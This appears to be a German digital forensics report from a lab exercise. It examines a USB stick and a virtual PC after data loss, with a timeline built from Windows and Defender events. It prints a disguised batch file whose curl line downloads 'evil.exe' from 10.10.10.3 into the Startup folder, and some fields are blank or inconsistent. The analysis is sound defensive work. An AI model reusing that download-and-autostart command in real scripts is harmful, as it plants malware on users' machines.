e3a89341d8bc256e4d29267f1e3940b3 SHA1 checksum:

ca8a19e922b17860504f78759a567965f683408 c

002-

20210628.001

MD5 checksum:

58b18a0f4559dc6d4b349d7a7edf6a24 SHA1 checksum:

79d37735dc7bcde47caee987c0e5ce9116be60 14

MD5 checksum:

58b18a0f4559dc6d4b349d7a7edf6a24 SHA1 checksum:

79d37735dc7bcde47caee987c0e5ce9116be60 14

Tabelle 4: Vergleich Checksumme Images (work copy)

Analyse:

Die Analyse der Daten der übergebenen Images erfolgte mittels der Software Magnet Axiom.

Zunächst wurde eine zeitliche Datenreduktion durchgeführt, d. h. es wurden nur die Daten be- trachtet, die zeitlich nach dem Erstellen der Daten auf dem untersuchten USB-Stick auf dem untersuchten Image des virtuellen PCs erstellt oder verändert wurden. Datenkategorien wurden zunächst nicht prinzipiell ausgeschlossen.

(23)

Present:

Das genaue Vorgehen während der Analyse und die daraus resultierenden Untersuchungser- gebnisse werden für beide untersuchte Images detailliert dargestellt (siehe Kapitel „Untersu- chungsergebnisse“), wobei Screenshots im Anhang die Ermittlungsergebnisse illustrieren. Zur zeitlichen Rekonstruktion der Ereignisse wurde eine Timeline erstellt (siehe Kapitel 5.1), die alle relevanten Artefakte und die mit ihnen verbundenen, relevanten Aktionen aus beiden As- servaten zeitlich integriert darstellt.

4 Untersuchung der Asservate

Der zu untersuchende Zeitraum wurde auf 15.05.2021 bis 02.6.2021 festgelegt, da die Auffäl- ligkeiten am 16.05.2021 begannen. Der Datenverlust und die Dateimanipulationen wurden am 21.06.2021 bemerkt.

4.1 Forensische Datenaufbereitung

Um die Daten der forensischen Datensicherung auszuwerten, müssen diese aufbereitet werden, um die relevanten digitalen Artefakte extrahieren zu können. Das IT-Forensik-Team nutzt für diese Aufgabe die Software Magnet AXIOM.

Nach der Eröffnung eines neuen Falls in Magnet AXIOM wurden beide vom Auftraggeber gelie- ferten Images mittels des Moduls Magnet AXIOM Process als Beweisquellen zum angelegten Fall hinzugefügt. Beim Import der Beweisquellen wurden im Rahmen der Datenaufbereitung keine Artefakte von der Analyse ausgeschlossen (siehe Abbildung 7: Datenaufbereitung - Images in Magnet AXIOM einlesen - Artefakte).

Nach dem Import der Images als Beweisquellen erfolgte mittels des Moduls Magnet AXIOM Examine eine detaillierte Untersuchung beider Asservate.

4.2 Forensische Datenanalyse

4.2.1 Asservat 1 – Image USB-Stick

Die Übergabe des Asservats erfolgte im Vier-Augenprinzip und wird im Chain-of-custody-For- mular (siehe Anlagen 6.1.1) dokumentiert.

Ziel der forensischen Untersuchung des USB-Stick-Images war es, die Daten, die auf dem USB-

(24)

4.2.1.1 Physische Medienanalyse

Die Seriennummer des Asservates 1 (AA3CBDEF) wurde im Abschnitt 2 notiert zur weiteren Verwendung. Im Rahmen der Medienanalyse wurden außerdem folgende Datenträgerinforma- tionen festgestellt (siehe Abbildung 8: Asservat 1 - Informationen).

Information Wert

Gesamtkapazität (Bytes) 4026494976 Zugeteilter Bereich (Bytes) 16355328 Nicht zugeteilter Bereich (Bytes) 4010139648 Speichermediums-Offset (Bytes) 32768

Cluster gesamt 983031

Freie Cluster 979038

Sektoren gesamt 7864255

Startsektor 64

Endsektor 7864319

Bytes je Sektor 512

Sektoren je Cluster 8

Tabelle 5: Asservat 1 - Daten aus physischer Medienanalyse

(25)

4.2.1.2 Laufwerksanalyse

Bei der Untersuchung des logischen Aufbaus des Datenträgers wurde eine Partition auf dem Datenträger identifiziert (siehe Abbildung 9: Asservat 1 - Laufwerksanalyse).

Name der Partition Partition 1

Größe der Partition 3,75 GB

Partitionstyp Microsoft NTFS

Tabelle 6: Asservat 1 - Daten aus Laufwerksanalyse

4.2.1.3 Dateisystemanalyse

Das gefundene NTFS-Dateisystems auf dem Asservat 1, dem USB-Stick wurde untersucht, die gefundenen Daten wurden kategorisiert und jede Kategorie wurde hinsichtlich der Relevanz für die aktuelle Untersuchung bewertet.

Zunächst wurden die im Dateisystem enthaltenen Ordner klassifiziert (siehe Abbildung 10: As- servat 1 - Dateisystemanalyse - Ordnerstruktur) und hinsichtlich ihrer Relevanz in Magnet AXIOM Examine gekennzeichnet mit dem Tag „von Interesse“ (siehe Abbildung 11: Asservat 1 - Dateisystemanalyse - Kennzeichnung relevanter Ordner).

Kategorie Datenmenge Relevanzbewertung Begründung Ordner (Hidden) 5 Ordner nicht relevant Systemordner

Ordner 7 Ordner von Interesse Ablageort benutzergespei- cherte Dateien

Tabelle 7: Asservat 1 – Dateisystemanalyse - Ordner

In den 5 mit dem Kennzeichen „von Interesse“ versehenen Ordnern wurden 64 Dateien identifiziert.

Diese 66 Dateien wurden unter Auswertung der Dateierweiterung und der in Magnet AXIOM Examine zugewiesenen Artefaktkategorie hinsichtlich ihrer Relevanz für die aktueller Untersu- chung bewertet, um die zu untersuchende Datenmenge weiter zu reduzieren:

(26)

Kategorie Anzahl Da- teien

Relevanzbewer- tung

Begründung

Systemdateien 24 nicht relevant Dateien in Kategorie „Ordner (Hid- den)“

Batch-Dateien (*.bat)

4 von Interesse In Batch-Dateien kann sich Schadcode befinden.

Medien-Dateien (*.jpg, *.png)

15 nicht relevant Es handelt sich um Bilddateien, nicht relevant bei Suche nach potenziellen Schadprogrammen.

temporäre Medien- Dateien

(*.nfs-3g*)

15 nicht relevant gleicher Inhalt wie Medien-Dateien

Dokumente (*.txt)

3 von Interesse Textdateien können zu Schadcode- Dateien gehören.

temporäre Doku- mente

(*.nfs-3g*)

3 nicht relevant gleicher Inhalt wie Dokumente

Tabelle 8: Asservat 1 – Dateisystemanalyse - Dateien

Es wurden 4 Batchdateien mit dem Kennzeichen „von Interesse“ versehen (siehe Abbildung 12:

Asservat 1 - Dateisystemanalyse - Kennzeichnung relevanter Dateien). Diese Dateien wurden im Rahmen der folgenden Anwendungsanalyse einer eingehenden inhaltlichen Untersuchung unterzogen.

(27)

4.2.1.4 Anwendungsanalyse Datei PCCleanupUtility.bat

File name PCCleanupUtility.bat

File size 6060 Bytes

Created 18.05.2021 08:10:22 Accessed 18.05.2021 10:09:05

File content: siehe Abbildung 13: Asservat 1 - Inhalt PCCleanupUtility.bat

Bewertung:

In der Datei konnten keine Schadcode-Bestandteile festgestellt werden.

Tabelle 9: Asservat 1 – Anwendungsanalyse - PCCleanupUtility.bat

Datei PW_generator.bat

File name PW_generator.bat

File content: siehe Abbildung 14: Asservat 1 - Inhalt PW_generator.bat

Bewertung:

Tabelle 10 Asservat 1 – Anwendungsanalyse - PW_generator.bat

(28)

Datei Virtuelles Laufwerk.bat

File name Virtuelles Laufwerk.bat

File size 257 Bytes

File content: siehe Abbildung 15: Asservat 1 - Inhalt Virtuelles Laufwerk.bat

Bewertung:

In der Datei wurde folgender potenzieller Schadcode identifiziert:

curl --output "C:\Users\VictimClient\AppData\Roaming\Microsoft\Windows\Start Menu\Pro- grams\Startup\evil.exe" --url http://10.10.10.3/evil.exe

Mittels des curl-Befehls wird die Datei evil.exe von der angegebenen URL (http://10.10.10.3/) auf den PC in den angegebenen Pfad C:\Users\VictimClient\AppData\Roaming\Micro-

soft\Windows\Start Menu\Programs\Startup kopiert.

Bei dem Pfad handelt es sich um das Startup-Verzeichnis des Benutzers VictimClient, d. h. alle Programme, die in diesem Pfad abgelegt werden, werden bei jedem Systemstart ausgeführt, so auch die evil.exe.

Ob das Programm evil.exe auf Artefakt 2 abgelegt wurde und ob durch diese Anwendung un- erwünschte Aktionen auf dem PC ausführt werden, wird im Rahmen der forensischen Daten- analyse des Asservats 2 untersucht.

Die Datei wurde in Magnet AXIOM Examine mit dem Kennzeichen „Nachweis“ versehen (siehe Abbildung 16: Asservat 1 - Kennzeichnung Nachweis für Virtuelles Laufwerk.bat)

Tabelle 11 Asservat 1 – Anwendungsanalyse - Virtuelles Laufwerk.bat

(29)

Datei Website pinger.bat

File name Website pinger.bat

File content: siehe Abbildung 17: Asservat 1 - Inhalt Website pinger.bat

Bewertung:

Tabelle 12 Asservat 1 – Anwendungsanalyse - Website pinger.bat

4.2.2 Asservat 2 – Image virtueller PC

Das übergebene Image des Asservats 2 wurde auf einem schreibgeschützten Datenträger zu einem Forensik-Laptop transportiert, um es mit dem Programm AXIOM in der Version 5.2.0.25407 einzulesen und zu analysieren. Die Übergabe des Asservats erfolgte im Vier-Au- genprinzip und wird im Chain-of-custody-Formular (siehe Anlagen 6.1.2) dokumentiert. Beim Einlesen des Images in AXIOM werden alle Artefakte-Kategorien berücksichtigt.

4.2.2.1 Physische Medienanalyse

Die Seriennummer des Asservates 2 (B8908E9F) wurde im Abschnitt 2 zur weiteren Verwen- dung notiert. Im Rahmen der Medienanalyse wurden außerdem folgende Datenträgerinforma- tionen festgestellt

Gesamtkapazität (Bytes) 52424704 Zugeteilter Bereich (Bytes) 24805476 Nicht zugeteilter Bereich (Bytes) 24805376 Speichermediums-Offset (Bytes) 1048576

Cluster gesamt 12799

Freie Cluster 6065

Sektoren gesamt 102399

Startsektor 2048

Endsektor 104447

Bytes je Sektor 512

Sektoren je Cluster 8

(30)

4.2.2.2 Laufwerksanalyse

Bei der Untersuchung des logischen Aufbaus des Datenträgers wurden drei Partitionen auf dem Datenträger identifiziert (siehe Abbildung 3: Asservat 2 - Laufwerksanalyse).

Information Wert Bedeutung

Partition 1 (Microsoft NTFS, 50 MB) System-reserviert Systempartition,

Partition 2 (Microsoft NTFS, 49,45 GB) Windows Betriebssystem und Nutzerdaten, Partition 3 (Microsoft NTFS, 515 MB) Windows Recovery

Tabelle 14: Asservat 2 - Daten aus Laufwerksanalyse

Die interessante Partition ist Partition 2. Hier befinden sich die Dateien des Betriebssystems und das Profil des Benutzers VictimClient.

4.2.2.3 Dateisystemanalyse

Auf der Partition 2 befinden sich Daten eines zu analysierenden Windows-10-Betriebssystems mit dem Datenformat NTFS. Jede Datei hat einen Zeitstempel und eine physikalische Adresse.

Die Dateisystemanalyse dient dem Rekonstruieren der Vorgänge ohne Zugriff auf das eigentli- che Betriebssystem.

Um die Semantik des möglichen Angriffes und der daraus folgenden Datenmanipulation zu er- kennen, wird zunächst gefiltert auf die Daten des Dateisystems, die zeitlich für die Untersu- chung relevant sind.

Dazu wird im „Axiom Examine“ und die Zeitleiste für den Zeitraum vom 15.05.2021 bis 21.06.2021 dargestellt. Als Beweise enthalten ist das Image des Opfer-PCs Asservat 2 und zur Ergänzung das Image des Asservats 1 (USB-Stick), wobei in diesem Abschnitt nur die Untersu- chung des Asservats 2 beschrieben wird. Es werden alle Artefakte ausgewählt und weiterhin Anwendungsnutzung, aus Dateisystem gekennzeichnet, Betriebssystem, Dokumente, Kommu- nikation, Medien, verbunden Geräte, Verschlüsselung und Zugangsdaten.

(31)

Fragestellung 1:

Bekannt ist aus der Analyse des Asservats 1, dass sich auf dem USB-Stick, den Max Muster- mann nutzt, ein Skript „Virtuelles Laufwerk.bat“ befindet, das potenziellen Schadcode enthält.

Deshalb wird im ersten Schritt der Dateisystemanalyse geprüft, ob der USB-Stick mit dem virtuellen PC verbunden war und ob das Skript „Virtuelle Laufwerke.bat“ vom USB-Stick (Asservat 1) auf den virtuellen PC (Asservat 2) übertragen wurde.

Ergebnisse:

Es konnte nachgewiesen werden, dass der USB-Stick (Asservat 1) mit dem virtuellen PC verbunden (Abbildung 20) und die Datei „Virtuelles Laufwerk.bat“ auf dem virtuellen PC (Asservat 2) im Pfad C:\Users\VictimClient\FÜr EIgene Unterlagen\Wissen\Hilfsskripte gespeichert wurde (Abbildung 21 und Abbildung 22).

USB Geräte USB Device

Anzahl Zeit- stempel

Zeitstempel Abbildung

Zu findende Seriennum- mer: AA3CBDEF

Seriennummer:

9207135273186951462&0

5 Installationszeitraum:

18.05.2021 10:08:09

Zuletzt verbunden:

18.05.2021 10:08:12 Datum der ersten Verbin- dung:

2021-05-18 10:08:11 Datum der ersten Installa- tion:

18.05.2021 10:08:09 Zuletzt eingefügt:

18.05.2021 10:08:09 Zuletzt gelöscht:

18.05.2021 10:31:48

Abbildung 20: Asservat 2 - USB-Stick angeschlossen

Tabelle 15: Asservat 2 - Zeitstempel der Datei "Virtuelles Laufwerk.bat"

(32)

Wurde das Skript „Virtuelles Laufwerk.bat“ nach dem Speichern auf dem virtuellen PC ausge- führt?

Ergebnis:

Die Ermittlung der Zeitstempel der Ausführung der Dateien „Virtuelles Laufwerk.bat“ für den zu untersuchenden Zeitraum ergab, dass das Skript und damit der potenzielle Schadcode auf dem virtuellen PC ausgeführt wurde (Abbildung 23, Abbildung 24, Abbildung 25).

Kategorie Artefakt-Bezeichner Beschreibung Batch-Da-

teien (*.bat) Virtuelles Lauf- werk.bat – MFT- 58973

C:\Users\VictimClient\FÜr EIgene Unterlagen\Wis- sen\Hilfsskripte\Virtuelles Laufwerk.bat

Virtuelles

Laufwerk.bat – MFT- 81950

C:\Users\VictimClient\ServiceA\Organisatorisches\virtu- elles laufwerk.bat

virtuelles laufwerk - Verknüpfung.lnk- MFT- 98730

Users\VictimClient\AppData\Roaming\Microsoft\Win- dows\Start Menu\Programs\Startup\virtuelles laufwerk - Verknüpfung.lnk

virtuelles laufwerk.bat Windows-Batchdatei

\Users\VictimClient\ServiceA\Organisatorisches\virtuelles laufwerk.bat

Tabelle 16: Asservat 2 – Artefakte zu "Virtuelles Laufwerk.bat"

(33)

Wurde der potenzielle Schadcode (vor allem die Datei „evil.exe“) des Skripts „Virtuelles Lauf- werk.bat“ auf dem virtuellen PC (Asservat 2) gespeichert und ausgeführt?

Ergebnisse:

Auf Asservat 1 wurde die Datei „Virtuelles Laufwerk.bat“ am 18.05.2021 08:10:21 Uhr MESZ erstellt, d. h. die Untersuchung des Asservats 2 kann sich auf diesen Zeitraum beschrän- ken.

Die Analyse des Dateiinhaltes im Kapitel Dateisystemanalyse zu Asservat 1 ergab, dass bei Aus- führung der Batch-Datei eine Datei mit Namen „evil.exe“ in den Startup-Ordner des Benut- zers VictimClient kopiert werden soll.

Deshalb wurde zunächst geprüft, ob die Datei „evil.exe“ auf dem Asservat 2 gespeichert ist.

Die Suche in AXIOM nach “evil.exe”, d. h. nach Angaben dazu, ob, wann und wo die Datei gespeichert und ob diese auch ausgeführt wurde, verlief positiv. Alle Ereignisse, die 2 Minuten nach oder vor dem Speichern oder Ausführen festgestellt werden konnten, wurden in den Suchvorgang einbezogen.

Es konnte festgestellt werden, dass die Datei „evil.exe“ auf dem virtuellen PC (Asservat 2) im Autostart-Ordner des Benutzers „VictimClient“ gespeichert wurde (Abbildung 26). Darüber hinaus wurden eine Reihe weiterer Dateien auf dem System mit identischer MFT-Record-Nummer identifiziert, d. h. die Datei evil.exe wurde mehrfach umbenannt, wie folgender Tabelle zu ent- nehmen ist.

Ausführbare Dateien (*.exe)

Artefakt Bezeichner Abbildung

evil.exe evil.exe- MFT-1215

devil.exe.exe-MFT-1215 Happylittletrees.exe-MFT-1215 devil.exe-MFT-1215

Happylittletree.exe-MFT-1215

Abbildung 34: Asservat 2 - Umbe- nennungen zu devil.exe

evil.exe- MFT-98504 Devil.exe Devil.exe- MFT-79828

Devil.exe- MFT-95964 Devil.exe- MFT-79831 Devil.exe- MFT-1215 Devil.exe- MFT-98545 Devil.exe- MFT- 98573 Devil.exe- MFT- 98582 Devil.exe- MFT- 98610

Fehler! Verweisquelle konnte n icht gefunden werden.

(34)

Darüber hinaus konnte festgestellt werden, dass die Datei „evil.exe“ auf dem virtuellen PC aus- geführt wurde (Abbildung 27).

4.2.2.3.1 Suche nach relevanten Windows-Ereignissen

Da sowohl das Skript „Virtuelles Laufwerk.bat“ als auch der Payload, der durch das Skript auf dem virtuellen PC abgelegt wird, im Autostart-Ordner des Benutzers „VictimClient“ abgelegt wird, wurde nun analysiert, welche Benutzerkonten sich wann am System angemeldet haben.

Ebenso wurde geprüft, ob der auf dem virtuellen PC installierte windowseigene Standard-Vi- renscanner (Windows Defender) Ereignisse ausgelöst hat, die die Ausführung potenziellen Schadcodes anzeigen.

Hierzu wurden die Windows-Ereignis-IDs ausgewertet und je eine Kurzbezeichnung generiert, die in der weiteren Analyse verwendet wird:

Ereignis-ID Artefakt Bez- eichner

Ereignisbeschreibung Quelle

4624 K4624

Anmeldetyp:

2 Interactive S-1-5-18 VictimClient

Dieses Ereignis generiert, wenn eine Anmeldesitzung erstellt wird (auf dem Zielcomputer). Es wird auf dem Computer generiert, auf den zugegriffen wurde, auf dem die Sit- zung erstellt wurde.

Ein Benutzer, der sich bei diesem Computer angemeldet hat.

https://docs.microsoft.com/de- de/windows/security/threat-protection/auditing/event-4624

Anmeldetitel

4624

K4624 Anmelde- typ:5 Service 5-Service S-1-5-18 SYSTEM S-1-5-18

Ein Dienst wurde vom Dienststeue- rungs-Manager gestartet.

Ein Servicekonto hat sich ange- meldet

System is a hidden member of Administrators. That is, any process running as

https://docs.microsoft.com/en- us/windows/security/identity- protection/access-control/secu- rity-identifiers

System has the SID for the built-in

Administrators group in its access token.

4648 K4648

S-1-5-18

Tritt auf, wenn ein Prozess ausge- führt wird und als “Special Logon”

Am meisten bei Ausführuing als batch-type als geplanter Ausfüh- rung als “RUNAS” Kommando.

https://docs.microsoft.com/de- de/windows/security/threat-protection/auditing/event-4648)

(35)

Windows Defender Ereignisse:

Ereignis-ID Artefakt Bez- eichner

Ereignisbeschreibung Quelle

1116 EID1116 Die Antischadsoftwareplattform hat Schadsoftware oder andere po- tenziell unerwünschte Software er- kannt.

Microsoft Defender AV-Ereignis- IDs und Fehlercodes | Microsoft Docs

1117 EID1117 Die Antischadsoftwareplattform hat eine Aktion ausgeführt, um Ihr System vor Schadsoftware oder an- derer potenziell unerwünschter Software zu schützen.

Microsoft Defender AV-Ereignis- IDs und Fehlercodes | Microsoft Docs

Tabelle 18: Asservat 2 - relevante Windows-Ereignisse

4.2.2.3.2 Suche nach relevanten Dateien und Ordnern

Aus der Auftragsspezifikation ist bekannt, dass Dateien im Ordner „Für EIgene Unterlagen“, speziell die Datei „Kundenliste.ods“ nicht mehr auffindbar sind. Deshalb wurde nach diesen ge- sucht und die MFT-Recordnummer notiert:

Datei oder Ordner Artefakt Bezeichner

Für EIgene Unterlagen Ordner1-MFT-126990

Für EIgene Unterlagen Ordner1-MFT-98721

Kundenliste.ods Datei1-MFT-95085

Datei1-MFT-79375 Datei1-MFT-95780

(36)

5 Untersuchungsergebnisse

Im Folgenden werden die Ergebnisse der forensischen Untersuchung zusammengefasst. Eine detaillierte Beschreibung der angewandten Methodik erfolgte in den vorhergehenden Kapi- teln.

5.1 Untersuchungsergebnisse – Timeline

Die bei der Untersuchung der zwei Asservate identifizierten relevanten Aktionen werden im Folgenden auf chronologisch aufsteigend geordnet dargestellt:

5.1.1 Timeline-Teil 1 – Schadcode gelangt auf den virtuellen PC (Asservat 2) Zeitpunkt Asservat Artefakt

Bezeichner

Festgestellte Aktion Verweis

18.05.2021 08:10:21 Uhr MESZ

Asservat 1

Datei „Virtuelles Lauf- werk.bat“ erstellt

Abbildung 18: Asservat 1 - Da- teidetails Virtuelles Lauf- werk.bat

18.05.2021 10:08:09 Uhr MESZ

Asservat 2

USB-Sick AA3CBDEF

Installation am PC Abbildung 20: Asservat 2 - USB- Stick angeschlossen

18.05.2021 10:09:09 Uhr MESZ

Asservat 1

Datei „Virtuelles Lauf- werk.bat“ auf Asservat 1 aufgerufen

Abbildung 19: Asservat 1 - Aus- führung der Batch-Datei "Virtu- elles Laufwerk.bat"

18.05.2021 10:09:09 Uhr MESZ

Asservat 2

Virtuelles Lauf- werk.bat – MFT-58973

Datei „Virtuelles Lauf- werk.bat“ wurde gespeichert im Verzeich- nis

C:\Users\VictimCli- ent\Für EIgene Unter- lagen\Wissen\Hilfs- skripte als Datei „Vir- tuelles Laufwerk.bat“

Abbildung 23: Asservat 2 – Skripte 1/3

18.05.2021 11:32:10 Uhr MESZ

Asservat 2

evil.exe- MFT1215

Die Datei „evil.exe“

wurde erstellt

Abbildung 26: Asservat 2 - Abla- geort "evil.exe"

Tabelle 19: Timeline - Teil 1

(37)

5.1.2 Timeline-Teil 2 – Schadcode wird auf virtuellem PC (Asservat 2) ausgeführt – Vi- renscanner erkennt und entfernt Schadcode

Zeitpunkt Asservat Artefakt Bezeichner

19.06.2021 15:01:40 Uhr MESZ

Asservat 2

K4624 Benutzer VictimClient hat sich angemeldet 19.06.2021

15:01:46 Uhr MESZ

Asservat 2

K4624 Servicekonto hat sich angemeldet

19.06.2021 15:05:26 Uhr MESZ

Asservat 2

devil.exe.exe -MFT-1215

„evil.exe“ in

„devil.exe.exe“ umbenannt

19.06.2021 15:05:26 Uhr MESZ

Asservat 2

devil.exe -MFT-1215

„devil.exe.exe“ in „devil.exe“ umbenannt

19.06.2021 15:07:39 Uhr MESZ

Asservat 2

Virtuelles Lauf- werk.bat – MFT- 58973

Programmausführung C:\Users\VictimCli- ent\FÜr EIgene Unter- lagen\Wissen\Hilfs- skripte\Virtuelles Lauf- werk.bat

Abbildung 32: Asservat 2 - Aus- führung devil.exe

19.06.2021 15:08:50 Uhr MESZ 19.06.2021 15:09:57 Uhr MESZ

Asservat 2

EID1116 devil.exe wurde als Trojaner Tro- jan:Win32/Meterpre- ter.gen!E erkannt

19.06.2021 15:09:58 Uhr MESZ

Asservat 2

EID1117 devil.exe wurde in Quarantäne gescho- ben

19.06.2021 15:12:57 Uhr MESZ

Asservat 2

EID1117 devil.exe wurde entfernt

(38)

5.1.3 Timeline-Teil 3 – Schadcode wird nicht mehr durch Virenscanner erkannt – An- griff gelingt

Zeitpunkt Asservat Artefakt Bez- eichner

20.06.2021 12:33:07 Uhr MESZ

Asservat 2

K4624 Benutzer VictimClient hat sich angemeldet

20.06.2021 12:53:25 Uhr MESZ

Asservat 2

K4624 Ein Servicekonto hat sich angemeldet

Aktivität von außen → An- griff

20.06.2021 12:56:03 Uhr MESZ

Asservat 2

Ordner3-MFT - 98653

Der Ordner wurde erstellt Aktivität von außen → An- griff

20.06.2021 13:01:44 Uhr MESZ

Asservat 2

Virtuelles Laufwerk.bat – MFT-58973

Die Datei wurde gelöscht Aktivität von außen → An- griff

20.06.2021 13:01:44 Uhr MESZ

Asservat 2

Ordner1-MFT- 126990

Ordner „Für EIgene Un- terlagen“ sowie die Un- terordner wurden ge- löscht

Abbildung 28: Asservat 2 - gelöschter Ordner

"Für EIgene Unterla- gen"

20.06.2021 13:01:44 Uhr MESZ

Ordner1.1- MFT-137009

Der Ordner Wissen wurde gelöscht

20.06.2021 13:22:35 Uhr MESZ

Datei1-MFT- 95085

kundenliste.ods

Die Datei wurde gelöscht.

Abbildung 30: Asservat 2 - gelöschte Datei

"kundenliste.ods"

(39)

5.2 Untersuchungsergebnisse – inhaltliche Feststellungen

5.2.1 Asservat 1 – Image USB-Stick

Es wurde festgestellt, dass sich auf dem Asservat 1 eine Batchdatei „Virtuelles Laufwerk.bat“

befindet, die potenziellen Schadcode enthält.

Die Datei „Virtuelles Laufwerk.bat“ wurde am 18.05.2021 08:10:21 Uhr MESZ erstellt mit fol- gendem Inhalt:

Zeile Dateinhalt

1 subst y: "%USERPROFILE%\ServiceA"

2 subst x: "%USERPROFILE%\ServiceB"

3 subst z: "%USERPROFILE%\Organisatorisches"

4 curl --output "C:\Users\VictimClient\AppData\Roaming\Mi- crosoft\Windows\Start Menu\Programs\Startup\evil.exe" -- url "http://10.10.10.3/evil.exe"

Tabelle 22: Asservat 1 - Inhalte der Datei "Virtuelles Laufwerk.bat"

Die Untersuchung des Inhaltes ergab, dass durch den subst-Befehl in den Zeilen 1–3 virtuelle Laufwerke y, x, z erzeugt werden, die einen Link auf die jeweils angegebenen Pfade im aktuel- len Userprofil beinhalten. Die Zeilen 1– 3 enthalten somit keinen potenziellen Schadcode.

Zeile 4 beinhaltet einen curl-Befehl, der dazu dient, eine Datei von einer URL in einen Pfad zu kopieren. Der in der Datei „Virtuelle Laufwerke.bat“ enthaltene curl-Befehl kopiert die Datei

„evil.exe“ von der URL http://10.10.10.3 in den Pfad C:\Users\VictimClient\App- Data\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. Bei diesem Pfad handelt es sich um das Startup-Verzeichnis des Benutzers „VictimClient“, d. h.

nach jeder Neuanmeldung des Benutzers „VictimClient“ am System wird die Anwendung

„evil.exe“ ausgeführt, wenn Sie sich im angegebenen Pfad befindet.

Mit der Untersuchung des Asservats 1 kann nicht geklärt werden, ob bei Ausführung der

„evil.exe“ schadhafter Code ausgeführt wird. Die Ergebnisse der Untersuchung des Asservats 2 zeigen im Folgenden, dass durch die Ausführung der Datei „evil.exe“ unerwünschte Aktionen durchgeführt wurden bzw. deren Durchführung versucht wurde.

(40)

5.2.2 Asservat 2 – Image virtueller PC

Zum Einsatz kam die Batchdatei aus Asservat 1 „Virtuelles Laufwerk.bat“. Sie wurde am 18.05.2021 10:09:09 Uhr MESZ vom User VictimClient im Ordner „C:\Users\VictimClient\FÜr EIgene Unterlagen\Wissen\Hilfsskripte\“ gespeichert. Diese Datei lädt den Payload „evil.exe“

mit dem CURL-Befehl in den Startup-Ordner des Benutzers VictimClient. Somit wird „evil.exe“

nach jeder interaktiven Anmeldung ausgeführt.

Die Datei „Virtuelles Laufwerk.bat“ mit MFT-58973 wurde am 20.06.2021 13:01:44 Uhr MESZ gelöscht.

Ebenfalls gelöscht wurden am 20.06.2021 13:01:44 Uhr MESZ der Ordner „Für EIgene Dateien“

und um 13:22:35 Uhr MESZ die Datei „kundenliste-ods“. Detaillierte Informationen zur zeitlichen Abfolge aller Aktivitäten sind im Abschnitt 5.1 dargestellt.

Die weitere inhaltliche Analyse ergab, dass am 20.06.2021 14:07:18 Uhr MESZ ein Link „virtuelles laufwerk - Verknüpfung.lnk“ - MFT- 98730 im Autostart-Verzeichnis des Benutzers Vic- timClient erstellt wurde.

Name virtuelles laufwerk - Verknüpfung.lnk-MFT- 98730

Pfad Users\VictimClient\AppData\Roaming\Microsoft\Windows\Start Menu\Pro- grams\Startup\virtuelles laufwerk - Verknüpfung.lnk

Inhalt \Users\VictimClient\ServiceA\Organisatorisches\virtuelles laufwerk.bat

Abbildung Abbildung 31: Asservat 2 - Link zu "Virtuelles Laufwerk.bat" in Autostart-Ordner

Tabelle 23: Asservat 2 - Link zu "Virtuelles Laufwerk.bat"

Damit wird bei jeder Benutzeranmeldung von VictimClient die Batchdatei „Virtuelles Lauf- werk.bat“ ausgeführt und:

1. die Payloads heruntergeladen, 2. vorhandene Payloads ausgeführt.

5.2.2.1 Festgestellte Angriffe und Aktionen

Am 18.05.2021 11:32:10 wurde evil.exe- MFT1215 das erste Mal erstellt. Folgende Namensän- derungen haben stattgefunden:

- am 19.06.2021 15:05:26 von evil.exe in devil.exe.exe, - am 19.06.2021 15:05:26 von devil.exe.exe in Devil.exe, - am 19.06.2021 15:08:42 von devil.exe in Happylittletree.exe.

(41)

Nach dem Start der devil.exe am 19.06.2021 in der Zeit vom 15:28:00 Uhr bis 17:30:00 traten eine Reihe hoher Netzwerkaktivitäten auf. Es konnte kein Datenabfluss festgestellt werden.

Die Netzwerkaktivität trat direkt nach jedem Start der devil.exe auf.

19.06.2021 15:28:00 19.06.2021 15:39:07 19.06.2021 16:29:00 19.06.2021 17:30:00

Devil.exe ETHERNET_CSMACD Bytes gesendet 21762833 Bytes empfangen 44022299 SRUM Netzwerknutzung ID 353

Abbildung 32: Asservat 2 - Ausführung devil.exe Abbildung 33: Asservat 2 - Netzwerkaktivität bei Ausführung "devil.exe"

Tabelle 24: Asservat 2 - Netzwerkaktivitäten bei Ausführung "devil.exe"

5.2.2.2 Festgestellte Aktionen im Dateisystem Bezeich-

nung

Kurzbezeich- nung

Ereignisbeschreibung Zeitstempel

Für EIgene Unterlagen

Ordner1-MFT- 126990

MFT: 126990

die Datei oder der Ordner wird das erste Mal erstellt

Aufgerufen Modifiziert

Die Datei oder der Ordner wurde ge- löscht

16.05.2021 18:24:13 20.06.2021 13:01:44 20.06.2021 13:01:44

Für EIgene Unterlagen

Ordner1-MFT- 98721

MFT: 98721

Modifiziert

20.06.2021 13:50:28 20.06.2021 13:50:28

Wissen Ordner1.1- MFT-137009

20.06.2021 13:01:44

Kunden- liste.ods

Datei1-MFT- 95085

Datei1-MFT- 79375 Datei1-MFT- 95780

C:\Users\VictimClient\Ser- viceA\Kundenliste.ods

modifiziert

MFT: 95780

16.05.2021 18:04:02 20.06.2021 13:22:35 20.06.2021 13:28:55 20.06.2021 13:28:55 20.06.2021 13:31:04

(42)

Zeitstempel Aktion: gelöscht

20.06.2021 13:42:27 20.06.2021 13:42:28 20.06.2021 13:42:33 20.06.2021 13:43:31 20.06.2021 13:43:32 20.06.2021 16:41:43 20.06.2021 16:56:18

EID1117 Behavior:Win32/UACBypassExp.T!gen threat description - Microsoft Security Intelligence

https://threats.kaspersky.com/en/threat/Ex- ploit.Win32.UAC/

Diese Familie umfasst Exploits, mit denen die Benutzerkon- tensteuerung (User Account Control, UAC) umgangen werden soll. Die Benutzerkontensteuerung ist eine Microsoft Windows-Sicherheitsfunktion, mit der nicht autorisierte Änderungen am Betriebssystem verhindert werden kön- nen.

TrojanDropper:PowerShell/Ploty.B Aktion: Quarantäne

20.06.2021 13:44:55 20.06.2021 13:45:06

EID1117 https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDrop- per:PowerShell/Ploty.B&threatid=2147725212&enterprise=0</Data Tabelle 26: Asservat 2 - Festgestellte Trojaner-Angriffe

(43)

6 Anlagen

6.1 Chain-of-custody-Formulare

6.1.1 Asservat 1

(44)

Kontaktdaten IT-Forensik-Team: Ladies-Group Seite 28 Abbildung 2: Asservat 1 - Chain-of-custody-Formular Seite 2/3

(45)

Abbildung 3: Asservat 1 - Chain-of-custody-Formular Seite 2/3

(46)

6.1.2 Asservat 2

(47)

(48)

